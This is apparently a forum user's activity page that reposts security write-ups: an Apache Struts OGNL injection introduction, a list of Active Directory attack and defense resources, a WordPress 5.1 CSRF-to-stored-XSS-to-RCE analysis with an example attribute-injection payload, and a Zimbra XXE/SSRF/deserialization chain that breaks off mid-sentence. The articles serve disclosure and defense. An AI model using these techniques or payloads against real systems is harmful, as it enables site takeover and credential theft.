Jump to content


  • Content Count

  • Joined

  • Last visited

  • Days Won


Nytro last won the day on March 14

Nytro had the most liked content!

Community Reputation

3592 Excellent

About Nytro

Recent Profile Visitors

23983 profile views
  1. Update la IPBoard 4.4.2. Sa imi ziceti daca crapa ceva.
  2. Mai usor cu porcariile... Pe scurt, ideea e urmatoarea: oare ce zic cei care fac subiectele? "Hai sa le punem cu o seara inainte pe un site, ca sa le poata gasi elevii!". Nu exista asa ceva. Evident, ele sunt disponibile pe cine stie unde, sunt trimise la centrele de examinare, insa putine persoane ar trebui sa aiba acces. E posibil chiar sa fie trimise in dimineata examenului, deci seara de dinaine e posibil sa le aiba doar cateva persoane. Singura sansa e sa cunosti una dintre persoanele care au acces la ele si sa o convingi sa isi riste cariera ca sa iti spuna ce subiecte sunt. Asadar, ideea e simpla: invata sau copiaza.
  3. Exploiting OGNL Injection in Apache Struts Mar 14, 2019 • Ionut Popescu Let’s understand how OGNL Injection works in Apache Struts. We’ll exemplify with two critical vulnerabilities in Struts: CVE-2017-5638 (Equifax breach) and CVE-2018-11776. Apache Struts is a free, open-source framework for creating elegant, modern Java web applications. It has its share of critical vulnerabilities, with one of its features, OGNL – Object-Graph Navigation Language, being at the core of many of them. One such vulnerability (CVE-2017-5638) has facilitated the Equifax breach in 2017 that exposed personal information of more thann 145 million US citizens. Despite being a company with over 3 billion dollars in annual revenue, it was hacked via a known vulnerability in the Apache Struts model-view-controller (MVC) framework. This article offers a light introduction into Apache Struts, then it will guide you through modifying a simple application, the use of OGNL, and exploiting it. Next, it will dive into some public exploits targeting the platform and using OGNL Injection flaws to understand this class of vulnerabilities. Even if Java developers are familiar with Apache Struts, the same is often not true in the security community. That is why we have created this blog post. Contents Feel free to use the menu below to skip to the section of interest. Install Apache Tomcat server (Getting started) Get familiar with how Java apps work on a server (Web Server Basics) A look at a Struts app (Struts application example) Expression Language Injection (Expression Language injection) Understanding OGNL injection (Object-Graph Navigation Language injection) CVE-2017-5638 root cause (CVE-2017-5638 root cause) CVE-2018-11776 root cause (CVE-2018-11776 root cause) Explanation of the OGNL injection payloads (Understanding OGNL injection payloads) Articol complet: https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/
  4. Active Directory Kill Chain Attack & Defense Summary This document was designed to be a useful, informational asset for those looking to understand the specific tactics, techniques, and procedures (TTPs) attackers are leveraging to compromise active directory and guidance to mitigation, detection, and prevention. And understand Active Directory Kill Chain Attack and Modern Post Exploitation Adversary Tradecraft Activity. Table of Contents Discovery Privilege Escalation Defense Evasion Credential Dumping Lateral Movement Persistence Defense & Detection Discovery SPN Scanning SPN Scanning – Service Discovery without Network Port Scanning Active Directory: PowerShell script to list all SPNs used Discovering Service Accounts Without Using Privileges Data Mining A Data Hunting Overview Push it, Push it Real Good Finding Sensitive Data on Domain SQL Servers using PowerUpSQL Sensitive Data Discovery in Email with MailSniper Remotely Searching for Sensitive Files User Hunting Hidden Administrative Accounts: BloodHound to the Rescue Active Directory Recon Without Admin Rights Gathering AD Data with the Active Directory PowerShell Module Using ActiveDirectory module for Domain Enumeration from PowerShell Constrained Language Mode PowerUpSQL Active Directory Recon Functions Derivative Local Admin Dumping Active Directory Domain Info – with PowerUpSQL! Local Group Enumeration Attack Mapping With Bloodhound Situational Awareness Commands for Domain Network Compromise A Pentester’s Guide to Group Scoping LAPS Microsoft LAPS Security & Active Directory LAPS Configuration Recon Running LAPS with PowerView RastaMouse LAPS Part 1 & 2 AppLocker Enumerating AppLocker Config Privilege Escalation Passwords in SYSVOL & Group Policy Preferences Finding Passwords in SYSVOL & Exploiting Group Policy Preferences Pentesting in the Real World: Group Policy Pwnage MS14-068 Kerberos Vulnerability MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege Digging into MS14-068, Exploitation and Defence From MS14-068 to Full Compromise – Step by Step DNSAdmins Abusing DNSAdmins privilege for escalation in Active Directory From DNSAdmins to Domain Admin, When DNSAdmins is More than Just DNS Administration Unconstrained Delegation Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory Forest Active Directory Security Risk #101: Kerberos Unconstrained Delegation (or How Compromise of a Single Server Can Compromise the Domain) Unconstrained Delegation Permissions Trust? Years to earn, seconds to break Hunting in Active Directory: Unconstrained Delegation & Forests Trusts Constrained Delegation Another Word on Delegation From Kekeo to Rubeus S4U2Pwnage Kerberos Delegation, Spns And More... Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory Insecure Group Policy Object Permission Rights Abusing GPO Permissions A Red Teamer’s Guide to GPOs and OUs File templates for GPO Abuse GPO Abuse - Part 1 Insecure ACLs Permission Rights Exploiting Weak Active Directory Permissions With Powersploit Escalating privileges with ACLs in Active Directory Abusing Active Directory Permissions with PowerView BloodHound 1.3 – The ACL Attack Path Update Scanning for Active Directory Privileges & Privileged Accounts Active Directory Access Control List – Attacks and Defense aclpwn - Active Directory ACL exploitation with BloodHound Domain Trusts A Guide to Attacking Domain Trusts It's All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts Active Directory forest trusts part 1 - How does SID filtering work? The Forest Is Under Control. Taking over the entire Active Directory forest Not A Security Boundary: Breaking Forest Trusts The Trustpocalypse DCShadow Privilege Escalation With DCShadow DCShadow DCShadow explained: A technical deep dive into the latest AD attack technique DCShadow - Silently turn off Active Directory Auditing DCShadow - Minimal permissions, Active Directory Deception, Shadowception and more RID Rid Hijacking: When Guests Become Admins Microsoft SQL Server How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL Compromise With Powerupsql – Sql Attacks Red Forest Attack and defend Microsoft Enhanced Security Administrative Exchange Exchange-AD-Privesc Abusing Exchange: One API call away from Domain Admin NtlmRelayToEWS NTML Relay Pwning with Responder – A Pentester’s Guide Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes) Relaying credentials everywhere with ntlmrelayx Lateral Movement Microsoft SQL Server Database links SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! SQL Server Link Crawling with PowerUpSQL Pass The Hash Performing Pass-the-hash Attacks With Mimikatz How to Pass-the-Hash with Mimikatz Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy System Center Configuration Manager (SCCM) Targeted Workstation Compromise With Sccm PowerSCCM - PowerShell module to interact with SCCM deployments WSUS Remote Weaponization of WSUS MITM WSUSpendu Leveraging WSUS – Part One Password Spraying Password Spraying Windows Active Directory Accounts - Tradecraft Security Weekly #5 Attacking Exchange with MailSniper A Password Spraying tool for Active Directory Credentials by Jacob Wilkin Automated Lateral Movement GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application DeathStar - Automate getting Domain Admin using Empire ANGRYPUPPY - Bloodhound Attack Path Automation in CobaltStrike Defense Evasion In-Memory Evasion Bypassing Memory Scanners with Cobalt Strike and Gargoyle In-Memory Evasions Course Bring Your Own Land (BYOL) – A Novel Red Teaming Technique Endpoint Detection and Response (EDR) Evasion Red Teaming in the EDR age Sharp-Suite - Process Argument Spoofing OPSEC Modern Defenses and YOU! OPSEC Considerations for Beacon Commands Red Team Tradecraft and TTP Guidance Fighting the Toolset Microsoft ATA & ATP Evasion Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced Threat Protection and Advanced Threat Analytics Red Team Revenge - Attacking Microsoft ATA Evading Microsoft ATA for Active Directory Domination PowerShell ScriptBlock Logging Bypass PowerShell ScriptBlock Logging Bypass PowerShell Anti-Malware Scan Interface (AMSI) Bypass How to bypass AMSI and execute ANY malicious Powershell code AMSI: How Windows 10 Plans to Stop Script-Based Attacks AMSI Bypass: Patching Technique Invisi-Shell - Hide your Powershell script in plain sight. Bypass all Powershell security features Loading .NET Assemblies Anti-Malware Scan Interface (AMSI) Bypass A PoC function to corrupt the g_amsiContext global variable in clr.dll in .NET Framework Early Access build 3694 AppLocker & Device Guard Bypass Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts) Sysmon Evasion Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology sysmon-config-bypass-finder HoneyTokens Evasion Forging Trusts for Deception in Active Directory Honeypot Buster: A Unique Red-Team Tool Disabling Security Tools Invoke-Phant0m - Windows Event Log Killer Credential Dumping NTDS.DIT Password Extraction How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller Extracting Password Hashes From The Ntds.dit File SAM (Security Accounts Manager) Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS Kerberoasting Kerberoasting Without Mimikatz Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain Extracting Service Account Passwords With Kerberoasting Cracking Service Account Passwords with Kerberoasting Kerberoast PW list for cracking passwords with complexity requirements Kerberos AP-REP Roasting Roasting AS-REPs Windows Credential Manager/Vault Operational Guidance for Offensive User DPAPI Abuse Jumping Network Segregation with RDP DCSync Mimikatz and DCSync and ExtraSids, Oh My Mimikatz DCSync Usage, Exploitation, and Detection Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync LLMNR/NBT-NS Poisoning LLMNR/NBT-NS Poisoning Using Responder Other Compromising Plain Text Passwords In Active Directory Persistence Golden Ticket Golden Ticket Kerberos Golden Tickets are Now More Golden SID History Sneaky Active Directory Persistence #14: SID History Silver Ticket How Attackers Use Kerberos Silver Tickets to Exploit Systems Sneaky Active Directory Persistence #16: Computer Accounts & Domain Controller Silver Tickets DCShadow Creating Persistence With Dcshadow AdminSDHolder Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights Persistence Using Adminsdholder And Sdprop Group Policy Object Sneaky Active Directory Persistence #17: Group Policy Skeleton Keys Unlocking All The Doors To Active Directory With The Skeleton Key Attack Skeleton Key Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest SeEnableDelegationPrivilege The Most Dangerous User Right You (Probably) Have Never Heard Of SeEnableDelegationPrivilege Active Directory Backdoor Security Support Provider Sneaky Active Directory Persistence #12: Malicious Security Support Provider (SSP) Directory Services Restore Mode Sneaky Active Directory Persistence #11: Directory Service Restore Mode (DSRM) Sneaky Active Directory Persistence #13: DSRM Persistence v2 ACLs & Security Descriptors An ACE Up the Sleeve: Designing Active Directory DACL Backdoors Shadow Admins – The Stealthy Accounts That You Should Fear The Most The Unintended Risks of Trusting Active Directory Tools & Scripts PowerView - Situational Awareness PowerShell framework BloodHound - Six Degrees of Domain Admin Impacket - Impacket is a collection of Python classes for working with network protocols aclpwn.py - Active Directory ACL exploitation with BloodHound CrackMapExec - A swiss army knife for pentesting networks ADACLScanner - A tool with GUI or command linte used to create reports of access control lists (DACLs) and system access control lists (SACLs) in Active Directory zBang - zBang is a risk assessment tool that detects potential privileged account threats PowerUpSQL - A PowerShell Toolkit for Attacking SQL Server Rubeus - Rubeus is a C# toolset for raw Kerberos interaction and abuses ADRecon - A tool which gathers information about the Active Directory and generates a report which can provide a holistic picture of the current state of the target AD environment Mimikatz - Utility to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory but also perform pass-the-hash, pass-the-ticket or build Golden tickets Grouper - A PowerShell script for helping to find vulnerable settings in AD Group Policy. Ebooks The Dog Whisperer’s Handbook – A Hacker’s Guide to the BloodHound Galaxy Varonis eBook: Pen Testing Active Directory Environments Cheat Sheets Tools Cheat Sheets - Tools (PowerView, PowerUp, Empire, and PowerSploit) DogWhisperer - BloodHound Cypher Cheat Sheet (v2) PowerView-3.0 tips and tricks PowerView-2.0 tips and tricks Defense & Detection Tools & Scripts SAMRi10 - Hardening SAM Remote Access in Windows 10/Server 2016 Net Cease - Hardening Net Session Enumeration PingCastle - A tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework Aorato Skeleton Key Malware Remote DC Scanner - Remotely scans for the existence of the Skeleton Key Malware Reset the krbtgt account password/keys - This script will enable you to reset the krbtgt account password and related keys while minimizing the likelihood of Kerberos authentication issues being caused by the operation Reset The KrbTgt Account Password/Keys For RWDCs/RODCs Deploy-Deception - A PowerShell module to deploy active directory decoy objects dcept - A tool for deploying and detecting use of Active Directory honeytokens LogonTracer - Investigate malicious Windows logon by visualizing and analyzing Windows event log DCSYNCMonitor - Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events Active Directory Security Checks (by Sean Metcalf - @Pyrotek3) General Recommendations Manage local Administrator passwords (LAPS). Implement RDP Restricted Admin mode (as needed). Remove unsupported OSs from the network. Monitor scheduled tasks on sensitive systems (DCs, etc.). Ensure that OOB management passwords (DSRM) are changed regularly & securely stored. Use SMB v2/v3+ Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves. Remove trusts that are no longer necessary & enable SID filtering as appropriate. All domain authentications should be set (when possible) to: "Send NTLMv2 response onlyrefuse LM & NTLM." Block internet access for DCs, servers, & all administration systems. Protect Admin Credentials No "user" or computer accounts in admin groups. Ensure all admin accounts are "sensitive & cannot be delegated". Add admin accounts to "Protected Users" group (requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection). Disable all inactive admin accounts and remove from privileged groups. Protect AD Admin Credentials Limit AD admin membership (DA, EA, Schema Admins, etc.) & only use custom delegation groups. ‘Tiered’ Administration mitigating credential theft impact. Ensure admins only logon to approved admin workstations & servers. Leverage time-based, temporary group membership for all admin accounts Protect Service Account Credentials Limit to systems of the same security level. Leverage “(Group) Managed Service Accounts” (or PW >20 characters) to mitigate credential theft (kerberoast). Implement FGPP (DFL =>2008) to increase PW requirements for SAs and administrators. Logon restrictions – prevent interactive logon & limit logon capability to specific computers. Disable inactive SAs & remove from privileged groups. Protect Resources Segment network to protect admin & critical systems. Deploy IDS to monitor the internal corporate network. Network device & OOB management on separate network. Protect Domain Controllers Only run software & services to support AD. Minimal groups (& users) with DC admin/logon rights. Ensure patches are applied before running DCPromo (especially MS14-068 and other critical patches). Validate scheduled tasks & scripts. Protect Workstations (& Servers) Patch quickly, especially privilege escalation vulnerabilities. Deploy security back-port patch (KB2871997). Set Wdigest reg key to 0 (KB2871997/Windows 8.1/2012R2+): HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest Deploy workstation whitelisting (Microsoft AppLocker) to block code exec in user folders – home dir & profile path. Deploy workstation app sandboxing technology (EMET) to mitigate application memory exploits (0-days). Logging Enable enhanced auditing “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” Enable PowerShell module logging (“*”) & forward logs to central log server (WEF or other method). Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server. SIEM or equivalent to centralize as much log data as possible. User Behavioural Analysis system for enhanced knowledge of user activity (such as Microsoft ATA). Security Pro’s Checks Identify who has AD admin rights (domain/forest). Identify who can logon to Domain Controllers (& admin rights to virtual environment hosting virtual DCs). Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions. Ensure AD admins (aka Domain Admins) protect their credentials by not logging into untrusted systems (workstations). Limit service account rights that are currently DA (or equivalent). Detection Attack Event ID Account and Group Enumeration 4798: A user's local group membership was enumerated 4799: A security-enabled local group membership was enumerated AdminSDHolder 4780: The ACL was set on accounts which are members of administrators groups Kekeo 4624: Account Logon 4672: Admin Logon 4768: Kerberos TGS Request Silver Ticket 4624: Account Logon 4634: Account Logoff 4672: Admin Logon Golden Ticket 4624: Account Logon 4672: Admin Logon PowerShell 4103: Script Block Logging 400: Engine Lifecycle 403: Engine Lifecycle 4103: Module Logging 600: Provider Lifecycle DCShadow 4742: A computer account was changed 5137: A directory service object was created 5141: A directory service object was deleted 4929: An Active Directory replica source naming context was removed Skeleton Keys 4673: A privileged service was called 4611: A trusted logon process has been registered with the Local Security Authority 4688: A new process has been created 4689: A new process has exited PYKEK MS14-068 4672: Admin Logon 4624: Account Logon 4768: Kerberos TGS Request Kerberoasting 4769: A Kerberos ticket was requested S4U2Proxy 4769: A Kerberos ticket was requested Lateral Movement 4688: A new process has been created 4689: A process has exited 4624: An account was successfully logged on 4625: An account failed to log on DNSAdmin 770: DNS Server plugin DLL has been loaded 541: The setting serverlevelplugindll on scope . has been set to <dll path> 150: DNS Server could not load or initialize the plug-in DLL DCSync 4662: An operation was performed on an object Password Spraying 4625: An account failed to log on 4771: Kerberos pre-authentication failed 4648: A logon was attempted using explicit credentials Resources ASD Strategies to Mitigate Cyber Security Incidents Reducing the Active Directory Attack Surface Securing Domain Controllers to Improve Active Directory Security Securing Windows Workstations: Developing a Secure Baseline Implementing Secure Administrative Hosts Privileged Access Management for Active Directory Domain Services Awesome Windows Domain Hardening Best Practices for Securing Active Directory Introducing the Adversary Resilience Methodology — Part One Introducing the Adversary Resilience Methodology — Part Two Mitigating Pass-the-Hash and Other Credential Theft, version 2 Configuration guidance for implementing the Windows 10 and Windows Server 2016 DoD Secure Host Baseline settings Monitoring Active Directory for Signs of Compromise Detecting Lateral Movement through Tracking Event Logs Kerberos Golden Ticket Protection Mitigating Pass-the-Ticket on Active Directory Overview of Microsoft's "Best Practices for Securing Active Directory" The Keys to the Kingdom: Limiting Active Directory Administrators Protect Privileged AD Accounts With Five Free Controls The Most Common Active Directory Security Issues and What You Can Do to Fix Them Event Forwarding Guidance Planting the Red Forest: Improving AD on the Road to ESAE Detecting Kerberoasting Activity Security Considerations for Trusts Advanced Threat Analytics suspicious activity guide Protection from Kerberos Golden Ticket Windows 10 Credential Theft Mitigation Guide Detecting Pass-The- Ticket and Pass-The- Hash Attack Using Simple WMI Commands Step by Step Deploy Microsoft Local Administrator Password Solution Active Directory Security Best Practices Finally Deploy and Audit LAPS with Project VAST, Part 1 of 2 Windows Security Log Events Talk Transcript BSidesCharm Detecting the Elusive: Active Directory Threat Hunting Preventing Mimikatz Attacks Understanding "Red Forest" - The 3-Tier ESAE and Alternative Ways to Protect Privileged Credentials AD Reading: Active Directory Backup and Disaster Recovery Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques Hunting For In-Memory .NET Attacks Mimikatz Overview, Defenses and Detection Trimarc Research: Detecting Password Spraying with Security Event Auditing Hunting for Gargoyle Memory Scanning Evasion Planning and getting started on the Windows Defender Application Control deployment process Preventing Lateral Movement Using Network Access Groups How to Go from Responding to Hunting with Sysinternals Sysmon Windows Event Forwarding Guidance Threat Mitigation Strategies: Part 2 – Technical Recommendations and Information License To the extent possible under law, Rahmat Nurfauzi "@infosecn1nja" has waived all copyright and related or neighboring rights to this work. Sursa: https://github.com/infosecn1nja/AD-Attack-Defense
  5. WordPress 5.1 CSRF to Remote Code Execution 13 Mar 2019 by Simon Scannell Last month we released an authenticated remote code execution (RCE) vulnerability in WordPress 5.0. This blog post reveals another critical exploit chain for WordPress 5.1 that enables an unauthenticated attacker to gain remote code execution on any WordPress installation prior to version 5.1.1. Impact An attacker can take over any WordPress site that has comments enabled by tricking an administrator of a target blog to visit a website set up by the attacker. As soon as the victim administrator visits the malicious website, a cross-site request forgery (CSRF) exploit is run against the target WordPress blog in the background, without the victim noticing. The CSRF exploit abuses multiple logic flaws and sanitization errors that when combined lead to Remote Code Execution and a full site takeover. The vulnerabilities exist in WordPress versions prior to 5.1.1 and is exploitable with default settings. WordPress is used by over 33% of all websites on the internet, according to its own download page. Considering that comments are a core feature of blogs and are enabled by default, the vulnerability affected millions of sites. Technical Analysis CSRF in comment form leads to HTML injection WordPress performs no CSRF validation when a user posts a new comment. This is because some WordPress features such as trackbacks and pingbacks would break if there was any validation. This means an attacker can create comments in the name of administrative users of a WordPress blog via CSRF attacks. This can become a security issue since administrators of a WordPress blog are allowed to use arbitrary HTML tags in comments, even <script> tags. In theory, an attacker could simply abuse the CSRF vulnerability to create a comment containing malicious JavaScript code. WordPress tries to solve this problem by generating an extra nonce for administrators in the comment form. When the administrator submits a comment and supplies a valid nonce, the comment is created without any sanitization. If the nonce is invalid, the comment is still created but is sanitized. The following code snippet shows how this is handled in the WordPress core: /wp-includes/comment.php (Simplified code) 323932403241324232433244324532463247 ⋮ if ( current_user_can( 'unfiltered_html' ) ) { if (! wp_verify_nonce( $_POST['_wp_unfiltered_html_comment'], 'unfiltered-html-comment' )) { $_POST['comment'] = wp_filter_post_kses($_POST['comment']); } } else { $_POST['comment'] = wp_filter_kses($_POST['comment']); } ⋮ The fact that no CSRF protection is implemented for the comment form has been known since 20091. However, we discovered a logic flaw in the sanitization process for administrators. As you can see in the above code snippet, the comment is always sanitized with wp_filter_kses(), unless the user creating the comment is an administrator with the unfiltered_html capability. If that is the case and no valid nonce is supplied, the comment is sanitized with wp_filter_post_kses() instead (line 3242 of the above code snippet). The difference between wp_filter_post_kses() and wp_filter_kses() lies in their strictness. Both functions take in the unsanitized comment and leave only a selected list of HTML tags and attributes in the string. Usually, comments are sanitized with wp_filter_kses() which only allows very basic HTML tags and attributes, such as the <a> tag in combination with the href attribute. This allows an attacker to create comments that can contain much more HTML tags and attributes than comments should usually be allowed to contain. However, although wp_filter_post_kses() is much more permissive, it still removes any HTML tags and attributes that could lead to Cross-Site-Scripting vulnerabilities. Escalating the additional HTML injection to a Stored XSS The fact that we can inject additional HTML tags and attributes still leads to a stored XSS vulnerability in the WordPress core. This is because some attributes that usually can’t be set in comments are parsed and manipulated in a faulty way that leads to an arbitrary attribute injection. After WordPress is done sanitizing the comment it will modify <a> tags within the comment string to optimize them for SEO purposes. This is done by parsing the attribute string (e.g. href="#" title="some link" rel="nofollow") of the <a>tags into an associative array (line 3004 of the following snippet), where the key is the name of an attribute and the value the attribute value. wp-includes/formatting.php 3002300330043005 function wp_rel_nofollow_callback( $matches ) { $text = $matches[1]; $atts = shortcode_parse_atts($matches[1]); ⋮ WordPress then checks if the rel attribute is set. This attribute can only be set if the comment is filtered via wp_filter_post_kses(). If it is, it processes the rel attribute and then puts the <a> tag back together. wp-includes/formatting.php 3013301430153016301730183019302030213022 if (!empty($atts['rel'])) { // the processing of the 'rel' attribute happens here ⋮ $text = ''; foreach ($atts as $name => $value) { $text .= $name . '="' . $value . '" '; } } return '<a ' . $text . ' rel="' . $rel . '">'; } The flaw occurs in the lines 3017 and 3018 of the above snippet, where the attribute values are concatenated back together without being escaped. An attacker can create a comment containing a crafted <a> tag and set for example the title attribute of the anchor to title='XSS " onmouseover=alert(1) id="'. This attribute is valid HTML and would pass the sanitization step. However, this only works because the crafted title tag uses single quotes. When the attributes are put back together, the value of the title attribute is wrapped around in double quotes (line 3018). This means an attacker can inject additional HTML attributes by injecting an additional double quote that closes the title attribute. For example: <a title='XSS " onmouseover=evilCode() id=" '> would turn into <a title="XSS " onmouseover=evilCode() id=" "> after processing. Since the comment has already been sanitized at this point, the injected onmouseover event handler is stored in the database and does not get removed. This allows attackers to inject a stored XSS payload into the target website by chaining this sanitization flaw with the CSRF vulnerability. Directly executing the XSS via an iframe The next step for an attacker to gain Remote Code Execution after creating the malicious comment is to get the injected JavaScript executed by the administrator. The comment is displayed in the frontend of the targeted WordPress blog. The frontend is not protected by the X-Frame-Options header by WordPress itself. This means the comment can be displayed in a hidden <iframe> on the website of the attacker. Since the injected attribute is an onmouseover event handler, the attacker can make the iframe follow the mouse of the victim to instantly trigger the XSS payload. This allows an attacker to execute arbitrary JavaScript code with the session of the administrator who triggered the CSRF vulnerability on the target website. All of the JavaScript execution happens in the background without the victim administrator noticing. Escalating the JavaScript execution to Remote Code Execution Now that is possible to execute arbitrary JavaScript code with the session of the administrator, Remote Code Execution can be achieved easily. By default, WordPress allows administrators of a blog to directly edit the .php files of themes and plugins from within the admin dashboard. By simply inserting a PHP backdoor, the attacker can gain arbitrary PHP code execution on the remote server. Patch By default, WordPress automatically installs security updates and you should already run the latest version 5.1.1. In case you or your hoster disabled the auto-update functionality for some reason, you can also disable comments until the security patch is installed. Most importantly, make sure to logout of your administrator session before visiting other websites. Timeline Date What 2018/10/24 Reported that it is possible to inject more HTML tags than should be allowed via CSRF to WordPress. 2018/10/25 WordPress triages the report on Hackerone. 2019/02/05 WordPress proposes a patch, we provide feedback. 2019/03/01 Informed WordPress that we managed to escalate the additional HTML injection to a Stored XSS vulnerability. 2019/03/01 WordPress informs us that a member of the WordPress security team already found the issue and a patch is ready. 2019/03/13 WordPress 5.1.1 Security and Maintenance Release Summary This blog detailed an exploit chain that starts with a CSRF vulnerability. The chain allows for any WordPress site with default settings to be taken over by an attacker, simply by luring an administrator of that website onto a malicious website. The victim administrator does not notice anything on the website of the attacker and does not have to engange in any other form of interaction, other than visiting the website set up by the attacker. We would like to thank the volunteers of the WordPress security team which have been very friendly and acted professionally when working with us on this issue. https://core.trac.wordpress.org/ticket/10931 [return] Tags: simon scannell, php, wordpress, remote code execution, cross site request forgery, cross site scripting, Author: Simon Scannell Security Researcher Simon is a self taught security researcher at RIPS Technologies and is passionate about web application security and coming up with new ways to find and exploit vulnerabilities. He currently focuses on the analysis of popular content management systems and their security architecture. Sursa: https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
  6. March 13, 2019 A Saga of Code Executions on Zimbra Zimbra is well known for its signature email product, Zimbra Collaboration Suite. Putting client-side vulnerabilities aside, Zimbra seems to have very little security history in the past. Its last critical bug was a Local File Disclosure back in 2013. Recently with several new findings, it has been known that at least one potential Remote Code Execution exists in all versions of Zimbra. Specifically, - Pre-Auth RCE on Zimbra <8.5. - Pre-Auth RCE on Zimbra from 8.5 to 8.7.11. - Auth'd RCE on Zimbra 8.8.11 and below with an additional condition that Zimbra uses Memcached. More on that in the next section. Breaking Zimbra part 1 1. The XXE cavalry - CVE-2016-9924, CVE-2018-20160, CVE-2019-9670 Zimbra uses a large amount of XML handling for both its internal and external operations. With great XML usage comes great XXE vulnerabilities. Back in 2016, another research has discovered CVE-2016-9924 with the bug locating in SoapEngine.chooseFaultProtocolFromBadXml(), which happens on the parsing of invalid XML requests. This code is used in all Zimbra instances version below 8.5. Note however, as there's no way to extract the output to the HTTP response, an out-of-band extraction method is required in exploiting it. For more recent versions, CVE-2019-9670 works flawlessly where the XXE lies in the handling of Autodiscover requests. This can be applied on Zimbra from 8.5 to 8.7.11. And for the sake of completeness, CVE-2018-20160 is an XXE in the handling of XMPP protocol and an additional bug along CVE-2019-9670 is a prevention bypass in the sanitizing of XHTML documents which also leads to XXE, however they both require some additional conditions to trigger. These all allow direct file extraction through response. It's worth to mention that exploiting out-of-band XXE on recent Java just got a lot harder due to a patch in the core FtpClient which makes it reject all FTP commands containing newline. This doesn't affect the exploits for the vulnerabilities mentioned above, but it did make some of my previous efforts to chain XXE with other bugs in vain. FtpClient.issueCommand() On installation, Zimbra sets up a global admin for its internal SOAP communications, with the username 'zimbra' and a randomly generated password. These information are always stored in a local file named localconfig.xml. As such, a file-read vulnerability like XXE could potentially be catastrophic to Zimbra, since it allows an attacker to acquire the login information of a user with all the admin rights. This has been demonstrated as the case in a CVE-2013-7091 LFI exploit where under certain conditions, one could use such credentials to gain RCE. However things have never been that easy. Zimbra manages user privileges via tokens, and it sets up an application model such that an admin token can only be granted to requests coming to the admin port, which by default is 7071. The aforementioned LFI exploit conveniently assumes we already have access to that port. But how often do you see the weirdo 7071 open to public? 2. SSRF to the rescue - CVE-2019-9621 If you can't access the port from public, let the application do it for you. The code at ProxyServlet.doProxy() does exactly what its name says, it proxies a request to another designated location. What's more, this servlet is available on the normal webapp and therefore accessible from public. Sweet! However the code has an additional protection, it checks whether the proxied target matches a set of predefined whitelisted domains. That is, unless the request is from an admin. Sounds right, an admin should be able to do what he wants. (Un)Fortunately, the admin checks are flawed. First thing it checks is whether the request comes from port 7071. However it uses ServletRequest.getServerPort() to fetch the incoming port. This method returns a tainted input controllable by an attacker, which is the part after ':' in the Host header. What's more, after that the check for the admin token happens only if it is fetched from a parameter, meanwhile we can totally send a token via cookie! In short, if we send a request with 'foo:7071' Host header and a valid token in cookie, we can proxy a request to arbitrary targets that is otherwise only accessible to admins. The check for an admin token can only happen if it's fetched from parameter 3. Pre-Auth RCE from public port ProxyServlet still needs a valid token though, so how does this fit in a preauth RCE chain? Turns out Zimbra has a 'hidden' feature that can help us generate a normal user token under the special global 'zimbra' account. When we modify an ordinary SOAP AuthRequest which looks like this: ? 1 ...<account by="name">tint0</account>... into this: ? 1 ...<account by="adminName">zimbra</account>... Zimbra will then lookup all the admin accounts and proceed to check the password. This is actually quite surprising because Zimbra admins and users naturally reside in two different LDAP branches. A normal AuthRequest should only touch the normal user branch, never the other. If the application wants a token for an admin, it already has port 7071 for that. Note that while this little trick could give us a token for the 'zimbra' user, this token doesn't have any of the admin flag in it as it's not coming from port 7071. This is when ProxyServlet jumps in, which will help us to proxy another admin AuthRequest to port 7071 and obtain a global admin token. Now that we've got everything we need. The flow is to read the config file via XXE, generate a low-priv token through a normal AuthRequest, proxy an admin AuthRequest to the local admin port via ProxyServlet and finally, use the global admin token to upload a webshell via the ClientUploader extension. Breaking Zimbra part 2 Zimbra has its own implementation of IMAP protocol, where it keeps a cache of the recently logged-in mailbox folders so that it doesn't have to load all the metadata from scratch next time. Zimbra serializes a user's mailbox folders to the cache on logging out and deserializes it when the same user logs in again. It has three ways to maintain a cache: Memcached(network-based input), EhCache(memory-based) and file-based. If one fails, it tries the next in list. Of all of those, we can only hope to manipulate Memcached, and this is the condition of the exploit: Zimbra has to use Memcached as its caching mechanism. Even though Memcached is prioritized over the others, (un)fortunately on a single-server instance, the LDAP key zimbraMemcachedClientServerList isn't auto-populated, so Zimbra wouldn't know where the service is and will fail over to Ehcache. This is probably a bug in Zimbra itself, as Memcached service is up and running by default and that way it wouldn't have any data in it. On a multi-server install however, setting this key is expected as only Memcached can work accross many servers. To check whether your Zimbra install is vulnerable, invoke this command on every node in the cluster and check if it returns a value: ? 1 $ zmprov gs `zmhostname` zimbraMemcachedClientServerList The deserialization process happens at ImapMemcachedSerializer.deserialize() and triggers on ImapHandler.doSELECT() i.e. when a user invoking an IMAP SELECT command. The 